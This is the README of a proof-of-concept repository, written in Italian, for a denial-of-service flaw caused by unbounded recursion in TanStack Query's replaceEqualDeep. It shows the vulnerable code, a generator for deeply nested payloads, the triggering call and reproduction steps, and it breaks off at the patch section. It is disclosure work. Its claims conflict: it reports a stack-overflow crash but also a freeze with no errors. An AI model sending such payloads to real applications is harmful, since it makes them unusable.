CVE-2026-26903 PoC

Denial-of-service tramite ricorsione illimitata nella funzione replaceEqualDeep di TanStack Query

Un singolo aggiornamento di query appositamente progettato con oggetti profondamente annidati può congelare il thread JavaScript a tempo indeterminato, causando la completa mancata risposta dell'applicazione. Non è richiesta alcuna autenticazione né permessi speciali.

Versioni affette

Questa vulnerabilità è stata corretta in @tanstack/[email protected] tramite la PR #10032, pubblicata il 14 gennaio 2026.

Pacchetto	Affetto	Corretto
@tanstack/query-core	<= 5.90.16	5.90.17
@tanstack/react-query	depends on vulnerable query-core	5.90.18+
@tanstack/vue-query	depends on vulnerable query-core	5.90.18+
@tanstack/solid-query	depends on vulnerable query-core	5.90.18+
@tanstack/svelte-query	depends on vulnerable query-core	6.1.7+

Descrizione ufficiale

CVE-2026-26903: Denial of Service tramite ricorsione illimitata in replaceEqualDeep (Severità: Media)

La funzione replaceEqualDeep in TanStack Query esegue un confronto ricorsivo di oggetti annidati senza limiti di profondità. Quando elabora strutture dati profondamente annidate, ciò può innescare una ricorsione illimitata che porta a stack overflow e al congelamento dell'applicazione.

— Assegnato tramite MITRE

Riepilogo della vulnerabilità

La funzione replaceEqualDeep di TanStack Query viene utilizzata internamente per determinare se i dati di una query sono effettivamente cambiati, ottimizzando i re-render preservando i riferimenti agli oggetti quando possibile. La funzione attraversa ricorsivamente le proprietà degli oggetti per eseguire un confronto di uguaglianza profonda.

Il problema

L'implementazione ricorsiva manca di limiti di profondità o di rilevamento dei cicli:

function replaceEqualDeep(a, b) {
  // ... type checks ...
  
  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];
    // ... shallow equality checks ...
    
    // VULNERABLE: Unbounded recursion here
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;
    // ...
  }
  return copy;
}

Meccanismo di attacco

1. Innesco: qualsiasi aggiornamento di query che passa attraverso replaceEqualDeep con dati profondamente annidati
2. Payload: oggetti annidati a più di 5.000 livelli di profondità
3. Impatto: congelamento immediato del thread JavaScript, completa mancata risposta dell'interfaccia utente
4. Persistenza: l'applicazione rimane congelata fino al ricaricamento della pagina

Superficie di attacco

• Diretto: hook useQuery con dati di risposta annidati
• Indiretto: setQueryData, invalidateQueries o qualsiasi operazione sulla cache delle query
• Lato client: nessun coinvolgimento del server necessario — DoS puramente lato client

Struttura del repository

CVE-2026-26903-PoC/
├── README.md                 # This file
├── LICENSE
├── poc.js                    # Node.js PoC (stack overflow crash)
└── tanstack-query-poc.html   # Browser PoC (interactive visual demo)

Passaggi per la riproduzione

1. Clonazione e configurazione

git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC

2. Esegui il PoC Node.js (crash da stack overflow)

node poc.js

3. Output atteso

Testing replaceEqualDeep with deep nesting...
 
Depth: 100
  OK - 0ms
 
Depth: 1000
  OK - 1ms
 
Depth: 5000
  CRASH - Maximum call stack size exceeded
 
Depth: 10000
  CRASH - Maximum call stack size exceeded

4. Esegui il PoC nel browser (demo interattiva visiva)

open tanstack-query-poc.html

1. Verifica che l'app sia reattiva:
   • Clicca sul pulsante contatore
   • Digita nel campo di input
   • Osserva il timer live che conta
2. Attiva il DoS:
   • Clicca su "TRIGGER DoS (10000 depth) - App Will Freeze"
   • Risultato: il timer si ferma, i pulsanti non rispondono, la pagina si blocca

Test dettagliati

Opzione A: demo HTML autonoma (nessuna dipendenza)

git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html

Opzione B: applicazione React (scenario realistico)

cd examples/react-app-poc
npm install
npm start
# Navigate to http://localhost:3000 and follow on-screen instructions

Comportamento atteso

Prima dell'attacco:

• Il pulsante contatore incrementa
• Il timer live si aggiorna ogni secondo
• Il campo di input risponde alla digitazione
• Tutte le interazioni dell'interfaccia funzionano normalmente

Dopo l'attacco:

• Il timer si blocca sul valore corrente
• Il pulsante contatore smette di rispondere
• Il campo di input diventa non reattivo
• La console non mostra errori (il thread è bloccato, non è andato in crash)
• Unica soluzione: ricaricamento della scheda/finestra del browser

Come funziona l'exploit

Il PoC genera oggetti profondamente annidati e innesca replaceEqualDeep per elaborarli:

1. Generazione del payload

function generateDeep(depth) {
  let obj = { value: 'end' };
  for (let i = 0; i < depth; i++) {
    obj = { nested: obj };
  }
  return obj;
}

// Creates: { nested: { nested: { nested: ... { value: 'end' } } } }

2. Innesco dell'attacco

const oldData = generateDeep(10000);  // 10,000 levels deep
const newData = generateDeep(10000);  // Different object, same structure

// This causes unbounded recursion:
replaceEqualDeep(oldData, newData);

3. Catena di ricorsione

replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested)     // Level 1
    ├── replaceEqualDeep(obj1.nested.nested, ...)  // Level 2
        ├── replaceEqualDeep(...)                   // Level 3
            └── ... (continues for 10,000 levels)

Ogni chiamata ricorsiva aggiunge un nuovo frame allo stack finché lo stack delle chiamate del motore JavaScript non si esaurisce, congelando il thread.

Codice vulnerabile

Posizione: @tanstack/query-core/src/utils.ts (approssimativa)

export function replaceEqualDeep(a, b) {
  if (a === b) {
    return a;
  }

  const array = isPlainArray(a) && isPlainArray(b);

  if (!array && !(isPlainObject(a) && isPlainObject(b))) {
    return b;
  }

  const aItems = array ? a : Object.keys(a);
  const aSize = aItems.length;
  const bItems = array ? b : Object.keys(b);
  const bSize = bItems.length;
  const copy = array ? new Array(bSize) : {};

  let equalItems = 0;

  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];

    if (a[key] === b[key]) {
      copy[key] = a[key];
      equalItems++;
      continue;
    }

    if (
      a[key] === null ||
      b[key] === null ||
      typeof a[key] !== 'object' ||
      typeof b[key] !== 'object'
    ) {
      copy[key] = b[key];
      continue;
    }

    // VULNERABLE: No depth limit or cycle detection
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;

    if (v === a[key]) {
      equalItems++;
    }
  }

  return aSize === bSize && equalItems === aSize ? a : copy;
}

Patch

La correzione (applicata nel commit 269351b di TanStack Query) aggiunge un limite di profondità per prevenire la ricorsione illimitata: